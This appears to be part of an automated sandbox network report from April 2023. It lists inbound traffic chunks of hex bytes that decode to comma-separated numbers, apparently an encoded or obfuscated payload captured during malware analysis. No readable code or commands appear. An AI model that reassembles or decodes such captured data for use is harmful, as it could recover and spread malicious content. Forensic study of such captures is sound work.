2023-04-20 23:05:00 UTC	10669	IN	Data Raw: 34 63 2c 31 30 66 2c 65 66 2c 31 36 32 2c 34 35 2c 38 37 2c 31 32 30 2c 31 30 64 2c 31 32 64 2c 38 63 2c 31 33 35 2c 31 32 31 2c 31 30 35 2c 64 39 2c 62 38 2c 62 61 2c 35 66 2c 65 64 2c 31 30 62 2c 62 61 2c 63 38 2c 64 33 2c 65 30 2c 63 37 2c 66 34 2c 65 36 2c 63 62 2c 63 36 2c 31 31 65 2c 31 31 38 2c 64 65 2c 66 33 2c 31 34 38 2c 65 39 2c 31 31 64 2c 63 63 2c 63 38 2c 31 31 62 2c 66 66 2c 36 35 2c 31 32 35 2c 64 61 2c 63 39 2c 39 33 2c 31 33 62 2c 31 32 64 2c 31 32 64 2c 61 31 2c 66 66 2c 64 30 2c 37 66 2c 66 65 2c 39 62 2c 39 63 2c 63 61 2c 65 36 2c 31 32 63 2c 65 32 2c 31 33 31 2c 64 61 2c 66 64 2c 64 39 2c 31 33 61 2c 38 65 2c 35 62 2c 62 37 2c 31 30 62 2c 31 31 66 2c 65 64 2c 66 65 2c 31 31 35 2c 39 38 2c 31 31 39 2c 65 33 2c 62 31 2c 31 34 62 2c 35 Data Ascii: 4c,10f,ef,162,45,87,120,10d,12d,8c,135,121,105,d9,b8,ba,5f,ed,10b,ba,c8,d3,e0,c7,f4,e6,cb,c6,11e,118,de,f3,148,e9,11d,cc,c8,11b,ff,65,125,da,c9,93,13b,12d,12d,a1,ff,d0,7f,fe,9b,9c,ca,e6,12c,e2,131,da,fd,d9,13a,8e,5b,b7,10b,11f,ed,fe,115,98,119,e3,b1,14b,5
2023-04-20 23:05:00 UTC	10685	IN	Data Raw: 65 2c 62 37 2c 35 62 2c 64 34 2c 31 34 32 2c 37 36 2c 64 62 2c 38 38 2c 31 36 36 2c 61 39 2c 31 30 39 2c 35 38 2c 31 32 64 2c 31 34 34 2c 31 32 32 2c 31 30 34 2c 66 31 2c 63 31 2c 34 34 2c 31 34 34 2c 65 62 2c 66 38 2c 38 36 2c 31 30 37 2c 64 35 2c 38 62 2c 62 34 2c 66 65 2c 62 33 2c 38 32 2c 35 63 2c 37 30 2c 33 37 2c 35 39 2c 65 35 2c 37 66 2c 31 30 31 2c 31 34 34 2c 31 34 35 2c 31 32 30 2c 39 36 2c 31 33 38 2c 64 32 2c 31 31 39 2c 35 64 2c 31 33 66 2c 65 62 2c 66 35 2c 65 32 2c 66 30 2c 34 37 2c 64 30 2c 31 33 35 2c 31 30 31 2c 62 30 2c 31 35 62 2c 36 30 2c 38 63 2c 31 30 34 2c 31 31 64 2c 31 32 32 2c 63 31 2c 65 30 2c 37 38 2c 65 36 2c 31 33 65 2c 66 39 2c 31 34 32 2c 31 31 30 2c 61 63 2c 38 65 2c 63 34 2c 31 32 61 2c 66 64 2c 36 66 2c 64 39 2c 31 30 Data Ascii: e,b7,5b,d4,142,76,db,88,166,a9,109,58,12d,144,122,104,f1,c1,44,144,eb,f8,86,107,d5,8b,b4,fe,b3,82,5c,70,37,59,e5,7f,101,144,145,120,96,138,d2,119,5d,13f,eb,f5,e2,f0,47,d0,135,101,b0,15b,60,8c,104,11d,122,c1,e0,78,e6,13e,f9,142,110,ac,8e,c4,12a,fd,6f,d9,10
2023-04-20 23:05:00 UTC	10701	IN	Data Raw: 65 63 2c 62 33 2c 35 64 2c 31 32 62 2c 31 35 30 2c 61 64 2c 64 63 2c 61 36 2c 37 35 2c 63 31 2c 31 30 62 2c 31 32 35 2c 31 34 34 2c 35 37 2c 35 38 2c 37 63 2c 31 33 65 2c 31 33 30 2c 39 35 2c 66 62 2c 39 34 2c 35 37 2c 62 39 2c 31 32 63 2c 31 33 38 2c 63 65 2c 66 61 2c 38 35 2c 65 34 2c 38 66 2c 64 32 2c 66 33 2c 64 63 2c 65 64 2c 65 30 2c 66 38 2c 39 36 2c 31 31 64 2c 39 39 2c 31 36 31 2c 62 34 2c 38 37 2c 63 61 2c 31 30 62 2c 31 34 35 2c 64 30 2c 39 35 2c 64 63 2c 39 34 2c 31 30 39 2c 35 36 2c 31 32 30 2c 37 34 2c 61 64 2c 61 32 2c 36 34 2c 39 62 2c 31 34 31 2c 65 32 2c 64 31 2c 31 32 35 2c 62 30 2c 31 35 65 2c 65 61 2c 64 63 2c 64 32 2c 63 65 2c 31 32 36 2c 31 35 30 2c 35 35 2c 39 63 2c 38 34 2c 61 64 2c 66 39 2c 35 30 2c 37 66 2c 31 36 32 2c 33 31 2c Data Ascii: ec,b3,5d,12b,150,ad,dc,a6,75,c1,10b,125,144,57,58,7c,13e,130,95,fb,94,57,b9,12c,138,ce,fa,85,e4,8f,d2,f3,dc,ed,e0,f8,96,11d,99,161,b4,87,ca,10b,145,d0,95,dc,94,109,56,120,74,ad,a2,64,9b,141,e2,d1,125,b0,15e,ea,dc,d2,ce,126,150,55,9c,84,ad,f9,50,7f,162,31,
2023-04-20 23:05:00 UTC	10717	IN	Data Raw: 2c 31 31 63 2c 36 33 2c 36 39 2c 66 65 2c 31 36 36 2c 63 63 2c 66 36 2c 37 33 2c 62 31 2c 31 31 32 2c 64 35 2c 31 32 62 2c 31 36 30 2c 31 30 63 2c 31 36 39 2c 65 64 2c 35 35 2c 37 30 2c 63 36 2c 66 35 2c 31 34 32 2c 64 62 2c 31 33 64 2c 64 36 2c 31 30 64 2c 34 35 2c 38 33 2c 39 31 2c 66 35 2c 36 63 2c 63 37 2c 38 36 2c 37 30 2c 31 30 61 2c 31 34 30 2c 31 31 63 2c 38 65 2c 66 66 2c 36 61 2c 33 37 2c 62 31 2c 31 30 39 2c 35 65 2c 63 61 2c 38 38 2c 31 32 65 2c 31 30 38 2c 34 31 2c 35 63 2c 38 64 2c 65 63 2c 31 32 31 2c 31 32 63 2c 63 64 2c 31 33 30 2c 65 37 2c 31 32 64 2c 34 34 2c 31 33 62 2c 37 66 2c 39 31 2c 31 33 39 2c 37 63 2c 31 34 64 2c 66 62 2c 31 30 38 2c 64 30 2c 36 37 2c 62 38 2c 61 37 2c 63 62 2c 31 30 38 2c 66 66 2c 64 31 2c 38 64 2c 65 38 2c 31 Data Ascii: ,11c,63,69,fe,166,cc,f6,73,b1,112,d5,12b,160,10c,169,ed,55,70,c6,f5,142,db,13d,d6,10d,45,83,91,f5,6c,c7,86,70,10a,140,11c,8e,ff,6a,37,b1,109,5e,ca,88,12e,108,41,5c,8d,ec,121,12c,cd,130,e7,12d,44,13b,7f,91,139,7c,14d,fb,108,d0,67,b8,a7,cb,108,ff,d1,8d,e8,1
2023-04-20 23:05:00 UTC	10733	IN	Data Raw: 2c 31 33 30 2c 34 62 2c 38 39 2c 66 62 2c 31 31 38 2c 63 61 2c 63 36 2c 31 36 36 2c 31 31 31 2c 63 31 2c 65 63 2c 62 64 2c 31 34 61 2c 37 66 2c 66 32 2c 31 31 38 2c 38 65 2c 66 38 2c 31 32 30 2c 64 61 2c 36 33 2c 62 32 2c 37 36 2c 61 37 2c 39 61 2c 65 30 2c 31 32 34 2c 64 38 2c 31 30 39 2c 31 30 30 2c 31 34 37 2c 66 33 2c 31 31 33 2c 63 37 2c 31 30 65 2c 31 31 64 2c 63 62 2c 61 30 2c 61 33 2c 31 35 39 2c 64 33 2c 37 34 2c 65 38 2c 62 30 2c 31 32 33 2c 63 36 2c 31 30 63 2c 36 39 2c 62 38 2c 65 30 2c 66 64 2c 31 31 37 2c 31 33 62 2c 31 32 34 2c 36 36 2c 38 63 2c 36 35 2c 66 62 2c 31 34 35 2c 39 34 2c 63 66 2c 35 39 2c 66 62 2c 66 39 2c 35 38 2c 35 61 2c 61 36 2c 34 39 2c 31 33 32 2c 65 61 2c 64 31 2c 31 34 32 2c 31 34 38 2c 31 31 36 2c 61 37 2c 63 30 2c 62 Data Ascii: ,130,4b,89,fb,118,ca,c6,166,111,c1,ec,bd,14a,7f,f2,118,8e,f8,120,da,63,b2,76,a7,9a,e0,124,d8,109,100,147,f3,113,c7,10e,11d,cb,a0,a3,159,d3,74,e8,b0,123,c6,10c,69,b8,e0,fd,117,13b,124,66,8c,65,fb,145,94,cf,59,fb,f9,58,5a,a6,49,132,ea,d1,142,148,116,a7,c0,b
2023-04-20 23:05:00 UTC	10749	IN	Data Raw: 2c 31 32 61 2c 39 32 2c 31 34 34 2c 62 39 2c 31 33 36 2c 63 38 2c 63 35 2c 31 31 30 2c 62 31 2c 36 65 2c 31 31 63 2c 37 61 2c 31 34 33 2c 31 32 65 2c 37 65 2c 36 30 2c 31 32 34 2c 35 66 2c 31 33 34 2c 38 33 2c 63 30 2c 36 63 2c 31 33 36 2c 33 65 2c 65 36 2c 35 65 2c 31 30 63 2c 62 65 2c 31 31 65 2c 66 66 2c 61 38 2c 37 35 2c 61 64 2c 65 36 2c 39 39 2c 31 33 31 2c 61 37 2c 63 36 2c 31 33 36 2c 39 34 2c 38 66 2c 65 62 2c 34 65 2c 63 64 2c 31 33 31 2c 63 32 2c 39 38 2c 65 61 2c 37 36 2c 31 34 32 2c 38 63 2c 31 34 65 2c 65 31 2c 66 61 2c 38 39 2c 63 39 2c 61 36 2c 64 39 2c 61 30 2c 61 63 2c 65 61 2c 66 35 2c 62 64 2c 31 35 32 2c 31 32 30 2c 39 65 2c 61 63 2c 35 32 2c 31 32 65 2c 31 30 35 2c 31 32 61 2c 62 38 2c 61 35 2c 31 33 30 2c 31 30 64 2c 37 32 2c 31 32 Data Ascii: ,12a,92,144,b9,136,c8,c5,110,b1,6e,11c,7a,143,12e,7e,60,124,5f,134,83,c0,6c,136,3e,e6,5e,10c,be,11e,ff,a8,75,ad,e6,99,131,a7,c6,136,94,8f,eb,4e,cd,131,c2,98,ea,76,142,8c,14e,e1,fa,89,c9,a6,d9,a0,ac,ea,f5,bd,152,120,9e,ac,52,12e,105,12a,b8,a5,130,10d,72,12
2023-04-20 23:05:00 UTC	10765	IN	Data Raw: 2c 38 33 2c 62 36 2c 39 37 2c 65 62 2c 31 34 61 2c 31 34 32 2c 66 63 2c 63 38 2c 37 65 2c 36 66 2c 61 34 2c 31 33 31 2c 31 35 39 2c 63 37 2c 65 62 2c 62 35 2c 36 64 2c 61 65 2c 31 31 30 2c 31 33 31 2c 31 31 64 2c 64 35 2c 31 32 64 2c 38 33 2c 31 31 30 2c 31 32 66 2c 31 30 64 2c 31 31 30 2c 64 34 2c 31 35 39 2c 39 32 2c 66 37 2c 37 33 2c 36 34 2c 31 30 64 2c 62 65 2c 31 31 30 2c 66 63 2c 61 30 2c 64 63 2c 66 64 2c 62 30 2c 36 33 2c 64 61 2c 61 34 2c 31 30 39 2c 64 65 2c 31 34 64 2c 39 63 2c 38 34 2c 31 32 39 2c 65 63 2c 61 34 2c 31 32 64 2c 63 63 2c 31 30 35 2c 66 62 2c 31 31 65 2c 36 30 2c 66 34 2c 31 32 38 2c 31 33 39 2c 65 64 2c 39 31 2c 37 35 2c 63 31 2c 66 33 2c 31 34 62 2c 66 64 2c 31 33 36 2c 31 31 61 2c 38 35 2c 31 31 33 2c 31 30 64 2c 31 34 36 2c Data Ascii: ,83,b6,97,eb,14a,142,fc,c8,7e,6f,a4,131,159,c7,eb,b5,6d,ae,110,131,11d,d5,12d,83,110,12f,10d,110,d4,159,92,f7,73,64,10d,be,110,fc,a0,dc,fd,b0,63,da,a4,109,de,14d,9c,84,129,ec,a4,12d,cc,105,fb,11e,60,f4,128,139,ed,91,75,c1,f3,14b,fd,136,11a,85,113,10d,146,
2023-04-20 23:05:00 UTC	10781	IN	Data Raw: 36 64 2c 31 31 62 2c 31 37 30 2c 63 64 2c 39 35 2c 31 31 30 2c 31 36 35 2c 31 30 38 2c 64 63 2c 31 33 61 2c 31 34 31 2c 31 35 63 2c 63 31 2c 31 31 32 2c 31 35 32 2c 31 32 32 2c 39 37 2c 31 33 66 2c 31 33 33 2c 31 34 37 2c 65 30 2c 63 38 2c 31 35 33 2c 31 31 37 2c 36 34 2c 31 36 35 2c 64 34 2c 31 30 32 2c 33 65 2c 31 33 65 2c 36 65 2c 66 65 2c 66 30 2c 65 39 2c 31 35 65 2c 31 31 32 2c 35 36 2c 66 38 2c 31 36 64 2c 62 64 2c 36 35 2c 31 30 35 2c 37 34 2c 31 34 37 2c 37 38 2c 66 64 2c 31 34 35 2c 31 30 39 2c 62 61 2c 64 33 2c 35 38 2c 31 33 36 2c 36 31 2c 66 66 2c 31 32 37 2c 31 33 39 2c 66 33 2c 66 65 2c 31 35 65 2c 31 33 39 2c 34 63 2c 31 36 32 2c 64 35 2c 62 35 2c 35 61 2c 31 31 66 2c 31 36 65 2c 31 33 38 2c 64 64 2c 63 31 2c 36 65 2c 66 38 2c 31 33 65 2c Data Ascii: 6d,11b,170,cd,95,110,165,108,dc,13a,141,15c,c1,112,152,122,97,13f,133,147,e0,c8,153,117,64,165,d4,102,3e,13e,6e,fe,f0,e9,15e,112,56,f8,16d,bd,65,105,74,147,78,fd,145,109,ba,d3,58,136,61,ff,127,139,f3,fe,15e,139,4c,162,d5,b5,5a,11f,16e,138,dd,c1,6e,f8,13e,
2023-04-20 23:05:00 UTC	10797	IN	Data Raw: 2c 65 37 2c 61 38 2c 66 39 2c 31 32 36 2c 65 63 2c 62 64 2c 66 62 2c 35 65 2c 31 30 39 2c 38 36 2c 65 30 2c 35 33 2c 31 33 62 2c 31 32 33 2c 31 30 37 2c 31 36 34 2c 66 31 2c 31 35 32 2c 31 32 62 2c 31 32 63 2c 31 33 61 2c 31 34 31 2c 65 66 2c 31 31 39 2c 63 37 2c 35 39 2c 31 30 33 2c 36 38 2c 66 33 2c 31 30 34 2c 31 34 35 2c 31 30 62 2c 66 63 2c 31 33 30 2c 61 61 2c 61 65 2c 31 32 61 2c 31 35 38 2c 39 36 2c 37 62 2c 37 63 2c 65 39 2c 64 32 2c 36 36 2c 38 37 2c 65 39 2c 31 34 32 2c 31 34 63 2c 37 38 2c 31 34 37 2c 63 30 2c 39 31 2c 62 38 2c 64 64 2c 39 62 2c 31 31 39 2c 62 66 2c 38 36 2c 31 31 66 2c 31 30 32 2c 39 38 2c 65 63 2c 31 33 31 2c 62 66 2c 66 64 2c 37 63 2c 64 36 2c 35 38 2c 31 32 64 2c 62 34 2c 39 66 2c 31 31 39 2c 39 37 2c 31 31 32 2c 63 31 2c Data Ascii: ,e7,a8,f9,126,ec,bd,fb,5e,109,86,e0,53,13b,123,107,164,f1,152,12b,12c,13a,141,ef,119,c7,59,103,68,f3,104,145,10b,fc,130,aa,ae,12a,158,96,7b,7c,e9,d2,66,87,e9,142,14c,78,147,c0,91,b8,dd,9b,119,bf,86,11f,102,98,ec,131,bf,fd,7c,d6,58,12d,b4,9f,119,97,112,c1,
2023-04-20 23:05:00 UTC	10813	IN	Data Raw: 2c 64 36 2c 66 36 2c 62 31 2c 34 64 2c 31 30 37 2c 61 65 2c 31 30 36 2c 31 34 34 2c 65 33 2c 61 35 2c 31 32 62 2c 34 65 2c 39 33 2c 64 66 2c 63 32 2c 62 39 2c 36 61 2c 65 39 2c 63 36 2c 31 30 62 2c 61 64 2c 33 30 2c 31 31 39 2c 38 37 2c 39 35 2c 31 32 39 2c 66 36 2c 31 31 37 2c 62 34 2c 37 62 2c 39 66 2c 66 62 2c 31 31 66 2c 31 36 33 2c 37 35 2c 31 31 38 2c 36 37 2c 65 33 2c 37 63 2c 31 32 64 2c 65 30 2c 64 63 2c 62 36 2c 65 66 2c 35 64 2c 34 32 2c 31 32 31 2c 31 32 32 2c 31 33 32 2c 65 33 2c 66 64 2c 39 61 2c 31 32 36 2c 66 38 2c 37 63 2c 65 61 2c 31 34 36 2c 31 31 31 2c 66 62 2c 62 34 2c 63 30 2c 39 66 2c 36 34 2c 35 38 2c 31 31 62 2c 31 31 65 2c 36 66 2c 62 38 2c 31 30 36 2c 39 33 2c 31 30 36 2c 31 34 34 2c 36 30 2c 65 32 2c 31 33 32 2c 64 34 2c 64 65 Data Ascii: ,d6,f6,b1,4d,107,ae,106,144,e3,a5,12b,4e,93,df,c2,b9,6a,e9,c6,10b,ad,30,119,87,95,129,f6,117,b4,7b,9f,fb,11f,163,75,118,67,e3,7c,12d,e0,dc,b6,ef,5d,42,121,122,132,e3,fd,9a,126,f8,7c,ea,146,111,fb,b4,c0,9f,64,58,11b,11e,6f,b8,106,93,106,144,60,e2,132,d4,de
2023-04-20 23:05:00 UTC	10829	IN	Data Raw: 35 2c 62 62 2c 37 64 2c 31 34 34 2c 38 35 2c 62 39 2c 61 32 2c 64 61 2c 36 61 2c 31 32 39 2c 39 63 2c 64 31 2c 39 32 2c 31 34 37 2c 31 33 33 2c 65 34 2c 31 30 61 2c 31 31 32 2c 39 63 2c 31 34 64 2c 62 38 2c 31 33 33 2c 31 32 39 2c 36 32 2c 33 35 2c 63 36 2c 64 63 2c 66 63 2c 31 36 35 2c 31 32 61 2c 31 32 35 2c 65 65 2c 31 33 33 2c 66 64 2c 31 31 38 2c 31 32 64 2c 63 31 2c 31 31 65 2c 38 31 2c 65 30 2c 31 30 65 2c 63 62 2c 66 39 2c 31 30 62 2c 35 65 2c 31 35 39 2c 31 35 64 2c 65 32 2c 66 66 2c 65 63 2c 31 31 30 2c 31 32 34 2c 64 39 2c 31 30 30 2c 37 30 2c 31 34 34 2c 63 39 2c 63 38 2c 38 62 2c 65 66 2c 64 63 2c 64 62 2c 62 36 2c 31 33 31 2c 64 37 2c 38 63 2c 65 30 2c 64 66 2c 39 36 2c 31 33 37 2c 62 30 2c 31 30 33 2c 38 39 2c 64 37 2c 31 32 38 2c 61 33 2c Data Ascii: 5,bb,7d,144,85,b9,a2,da,6a,129,9c,d1,92,147,133,e4,10a,112,9c,14d,b8,133,129,62,35,c6,dc,fc,165,12a,125,ee,133,fd,118,12d,c1,11e,81,e0,10e,cb,f9,10b,5e,159,15d,e2,ff,ec,110,124,d9,100,70,144,c9,c8,8b,ef,dc,db,b6,131,d7,8c,e0,df,96,137,b0,103,89,d7,128,a3,
2023-04-20 23:05:00 UTC	10845	IN	Data Raw: 62 2c 39 66 2c 39 39 2c 65 61 2c 31 35 33 2c 35 64 2c 31 32 64 2c 31 30 62 2c 62 30 2c 31 30 61 2c 31 33 35 2c 61 32 2c 62 62 2c 31 35 38 2c 31 32 34 2c 31 31 30 2c 31 32 34 2c 65 37 2c 61 35 2c 31 31 66 2c 36 62 2c 31 31 66 2c 66 66 2c 63 61 2c 66 37 2c 66 31 2c 66 66 2c 31 33 62 2c 63 33 2c 31 35 66 2c 38 65 2c 31 31 65 2c 34 33 2c 38 62 2c 31 30 32 2c 37 64 2c 62 30 2c 38 63 2c 36 65 2c 35 30 2c 33 32 2c 66 64 2c 37 30 2c 64 63 2c 66 62 2c 31 32 33 2c 65 32 2c 61 65 2c 64 36 2c 31 34 65 2c 63 31 2c 31 34 35 2c 65 63 2c 64 30 2c 31 34 66 2c 65 64 2c 65 30 2c 61 36 2c 31 30 62 2c 31 33 64 2c 31 31 30 2c 31 32 33 2c 36 64 2c 64 65 2c 31 31 37 2c 31 33 36 2c 65 65 2c 39 35 2c 31 31 34 2c 31 33 37 2c 31 32 37 2c 62 63 2c 61 37 2c 66 33 2c 39 37 2c 37 65 2c Data Ascii: b,9f,99,ea,153,5d,12d,10b,b0,10a,135,a2,bb,158,124,110,124,e7,a5,11f,6b,11f,ff,ca,f7,f1,ff,13b,c3,15f,8e,11e,43,8b,102,7d,b0,8c,6e,50,32,fd,70,dc,fb,123,e2,ae,d6,14e,c1,145,ec,d0,14f,ed,e0,a6,10b,13d,110,123,6d,de,117,136,ee,95,114,137,127,bc,a7,f3,97,7e,
2023-04-20 23:05:00 UTC	10861	IN	Data Raw: 63 63 2c 31 34 33 2c 65 38 2c 31 34 64 2c 66 62 2c 31 35 35 2c 31 30 64 2c 31 31 65 2c 36 38 2c 31 33 33 2c 66 63 2c 36 62 2c 37 63 2c 31 34 37 2c 63 66 2c 31 31 37 2c 62 35 2c 61 64 2c 31 33 35 2c 31 32 34 2c 31 36 35 2c 66 63 2c 64 35 2c 31 33 65 2c 65 62 2c 31 32 34 2c 65 34 2c 35 37 2c 31 33 35 2c 31 33 31 2c 31 30 33 2c 31 31 38 2c 38 36 2c 65 39 2c 33 33 2c 39 66 2c 31 30 64 2c 31 35 34 2c 39 62 2c 38 32 2c 39 62 2c 31 31 37 2c 36 65 2c 36 31 2c 64 36 2c 39 34 2c 31 33 39 2c 31 33 63 2c 39 31 2c 31 30 32 2c 61 30 2c 31 31 35 2c 65 33 2c 64 63 2c 61 65 2c 66 38 2c 37 37 2c 31 31 32 2c 37 61 2c 31 35 31 2c 31 34 36 2c 65 65 2c 31 30 32 2c 63 37 2c 61 61 2c 31 34 33 2c 36 30 2c 31 32 66 2c 37 61 2c 31 32 65 2c 64 65 2c 64 62 2c 64 32 2c 31 34 35 2c 34 Data Ascii: cc,143,e8,14d,fb,155,10d,11e,68,133,fc,6b,7c,147,cf,117,b5,ad,135,124,165,fc,d5,13e,eb,124,e4,57,135,131,103,118,86,e9,33,9f,10d,154,9b,82,9b,117,6e,61,d6,94,139,13c,91,102,a0,115,e3,dc,ae,f8,77,112,7a,151,146,ee,102,c7,aa,143,60,12f,7a,12e,de,db,d2,145,4
2023-04-20 23:05:00 UTC	10877	IN	Data Raw: 34 2c 35 31 2c 66 36 2c 66 31 2c 66 39 2c 64 33 2c 31 32 34 2c 66 39 2c 31 33 63 2c 39 61 2c 31 36 34 2c 31 34 61 2c 62 34 2c 31 31 35 2c 64 61 2c 62 34 2c 35 63 2c 36 33 2c 63 62 2c 31 32 35 2c 64 35 2c 36 33 2c 65 62 2c 66 63 2c 31 33 31 2c 62 62 2c 35 66 2c 64 62 2c 31 34 61 2c 31 33 32 2c 65 35 2c 35 39 2c 31 30 38 2c 66 37 2c 62 66 2c 31 34 65 2c 66 33 2c 36 64 2c 31 32 64 2c 38 36 2c 62 31 2c 65 39 2c 31 35 38 2c 31 30 61 2c 37 37 2c 35 38 2c 61 33 2c 62 34 2c 66 32 2c 34 66 2c 38 31 2c 31 35 31 2c 36 33 2c 36 63 2c 31 35 36 2c 31 31 32 2c 38 63 2c 31 35 31 2c 62 37 2c 38 61 2c 31 30 38 2c 64 37 2c 64 32 2c 31 30 38 2c 36 66 2c 31 31 61 2c 61 39 2c 31 32 38 2c 65 34 2c 36 61 2c 62 38 2c 65 34 2c 31 31 32 2c 37 62 2c 39 62 2c 31 35 65 2c 63 62 2c 64 Data Ascii: 4,51,f6,f1,f9,d3,124,f9,13c,9a,164,14a,b4,115,da,b4,5c,63,cb,125,d5,63,eb,fc,131,bb,5f,db,14a,132,e5,59,108,f7,bf,14e,f3,6d,12d,86,b1,e9,158,10a,77,58,a3,b4,f2,4f,81,151,63,6c,156,112,8c,151,b7,8a,108,d7,d2,108,6f,11a,a9,128,e4,6a,b8,e4,112,7b,9b,15e,cb,d
2023-04-20 23:05:00 UTC	10893	IN	Data Raw: 61 2c 39 63 2c 64 39 2c 31 31 37 2c 39 38 2c 35 38 2c 66 66 2c 66 32 2c 37 36 2c 33 66 2c 39 37 2c 36 31 2c 66 30 2c 31 30 65 2c 38 39 2c 31 32 34 2c 65 33 2c 32 65 2c 62 38 2c 34 32 2c 65 38 2c 31 32 38 2c 66 64 2c 36 61 2c 36 64 2c 31 36 64 2c 37 63 2c 31 32 39 2c 63 39 2c 66 36 2c 38 63 2c 66 33 2c 36 35 2c 62 35 2c 37 31 2c 35 63 2c 66 39 2c 64 35 2c 31 30 33 2c 31 31 65 2c 62 33 2c 63 37 2c 37 30 2c 31 30 30 2c 64 31 2c 62 62 2c 35 62 2c 65 35 2c 65 31 2c 31 30 37 2c 61 31 2c 38 31 2c 39 61 2c 31 30 62 2c 39 33 2c 31 35 35 2c 65 35 2c 66 39 2c 31 36 33 2c 31 31 31 2c 65 37 2c 31 34 38 2c 31 30 64 2c 31 34 64 2c 65 30 2c 36 61 2c 62 62 2c 31 31 34 2c 36 32 2c 31 33 34 2c 31 30 30 2c 62 33 2c 31 35 64 2c 37 65 2c 61 37 2c 62 34 2c 38 35 2c 31 36 65 2c Data Ascii: a,9c,d9,117,98,58,ff,f2,76,3f,97,61,f0,10e,89,124,e3,2e,b8,42,e8,128,fd,6a,6d,16d,7c,129,c9,f6,8c,f3,65,b5,71,5c,f9,d5,103,11e,b3,c7,70,100,d1,bb,5b,e5,e1,107,a1,81,9a,10b,93,155,e5,f9,163,111,e7,148,10d,14d,e0,6a,bb,114,62,134,100,b3,15d,7e,a7,b4,85,16e,
2023-04-20 23:05:00 UTC	10909	IN	Data Raw: 31 32 33 2c 61 34 2c 31 30 62 2c 31 30 35 2c 63 65 2c 31 32 37 2c 64 36 2c 39 30 2c 31 31 62 2c 35 66 2c 35 66 2c 31 34 30 2c 34 65 2c 38 63 2c 31 31 38 2c 65 38 2c 37 61 2c 37 61 2c 39 36 2c 36 32 2c 31 32 61 2c 31 33 31 2c 61 65 2c 61 32 2c 38 39 2c 31 31 66 2c 36 65 2c 35 39 2c 36 66 2c 31 32 61 2c 31 30 39 2c 38 32 2c 36 65 2c 36 61 2c 31 32 36 2c 66 64 2c 34 32 2c 65 30 2c 31 35 34 2c 31 35 61 2c 37 61 2c 37 61 2c 65 35 2c 64 32 2c 31 30 33 2c 66 38 2c 31 32 65 2c 38 63 2c 37 61 2c 31 32 38 2c 64 65 2c 63 33 2c 31 36 38 2c 66 32 2c 63 34 2c 64 66 2c 36 30 2c 61 31 2c 31 33 64 2c 38 63 2c 63 66 2c 66 61 2c 31 33 34 2c 35 33 2c 36 65 2c 38 39 2c 37 39 2c 62 62 2c 39 33 2c 31 30 65 2c 65 36 2c 64 39 2c 62 30 2c 31 30 37 2c 31 30 61 2c 31 31 63 2c 31 31 Data Ascii: 123,a4,10b,105,ce,127,d6,90,11b,5f,5f,140,4e,8c,118,e8,7a,7a,96,62,12a,131,ae,a2,89,11f,6e,59,6f,12a,109,82,6e,6a,126,fd,42,e0,154,15a,7a,7a,e5,d2,103,f8,12e,8c,7a,128,de,c3,168,f2,c4,df,60,a1,13d,8c,cf,fa,134,53,6e,89,79,bb,93,10e,e6,d9,b0,107,10a,11c,11
2023-04-20 23:05:00 UTC	10925	IN	Data Raw: 30 33 2c 31 32 36 2c 65 61 2c 31 33 32 2c 66 35 2c 31 33 61 2c 63 32 2c 31 32 30 2c 65 63 2c 35 64 2c 62 61 2c 65 30 2c 64 31 2c 31 35 63 2c 31 30 30 2c 31 31 36 2c 36 38 2c 65 30 2c 31 31 64 2c 62 62 2c 31 30 37 2c 66 36 2c 33 30 2c 31 34 31 2c 34 66 2c 64 38 2c 66 35 2c 36 39 2c 63 63 2c 34 63 2c 31 32 33 2c 31 35 31 2c 66 32 2c 31 30 35 2c 65 62 2c 31 35 65 2c 62 37 2c 31 32 61 2c 31 32 31 2c 65 30 2c 31 30 61 2c 31 33 62 2c 62 62 2c 31 35 66 2c 63 61 2c 31 32 34 2c 65 32 2c 66 31 2c 63 30 2c 31 35 64 2c 31 33 38 2c 31 33 63 2c 31 31 63 2c 64 30 2c 38 61 2c 64 63 2c 31 31 32 2c 31 34 61 2c 31 33 35 2c 63 34 2c 31 31 34 2c 38 38 2c 31 32 63 2c 63 32 2c 38 36 2c 64 35 2c 39 61 2c 65 32 2c 39 39 2c 61 64 2c 31 32 34 2c 31 36 38 2c 63 32 2c 35 64 2c 31 31 Data Ascii: 03,126,ea,132,f5,13a,c2,120,ec,5d,ba,e0,d1,15c,100,116,68,e0,11d,bb,107,f6,30,141,4f,d8,f5,69,cc,4c,123,151,f2,105,eb,15e,b7,12a,121,e0,10a,13b,bb,15f,ca,124,e2,f1,c0,15d,138,13c,11c,d0,8a,dc,112,14a,135,c4,114,88,12c,c2,86,d5,9a,e2,99,ad,124,168,c2,5d,11
2023-04-20 23:05:00 UTC	10941	IN	Data Raw: 31 36 62 2c 31 31 63 2c 62 33 2c 64 62 2c 31 34 35 2c 39 33 2c 31 32 34 2c 64 65 2c 31 34 35 2c 31 30 32 2c 31 36 34 2c 31 30 64 2c 31 30 66 2c 31 30 66 2c 37 34 2c 34 61 2c 36 30 2c 65 64 2c 31 34 35 2c 31 31 30 2c 34 64 2c 61 64 2c 31 31 37 2c 35 35 2c 62 31 2c 31 31 62 2c 31 30 33 2c 63 66 2c 31 36 30 2c 63 66 2c 31 34 33 2c 38 66 2c 31 34 62 2c 63 33 2c 38 62 2c 62 65 2c 63 33 2c 65 61 2c 62 35 2c 34 66 2c 36 35 2c 31 36 61 2c 38 37 2c 65 34 2c 64 64 2c 38 30 2c 39 64 2c 36 31 2c 65 31 2c 31 34 35 2c 37 35 2c 31 31 31 2c 38 63 2c 36 32 2c 31 34 38 2c 37 63 2c 31 32 63 2c 38 61 2c 31 35 63 2c 39 66 2c 37 38 2c 61 30 2c 39 61 2c 64 63 2c 66 33 2c 62 63 2c 31 30 62 2c 39 64 2c 31 33 65 2c 38 36 2c 31 32 31 2c 31 31 36 2c 31 33 35 2c 66 65 2c 36 64 2c 63 Data Ascii: 16b,11c,b3,db,145,93,124,de,145,102,164,10d,10f,10f,74,4a,60,ed,145,110,4d,ad,117,55,b1,11b,103,cf,160,cf,143,8f,14b,c3,8b,be,c3,ea,b5,4f,65,16a,87,e4,dd,80,9d,61,e1,145,75,111,8c,62,148,7c,12c,8a,15c,9f,78,a0,9a,dc,f3,bc,10b,9d,13e,86,121,116,135,fe,6d,c
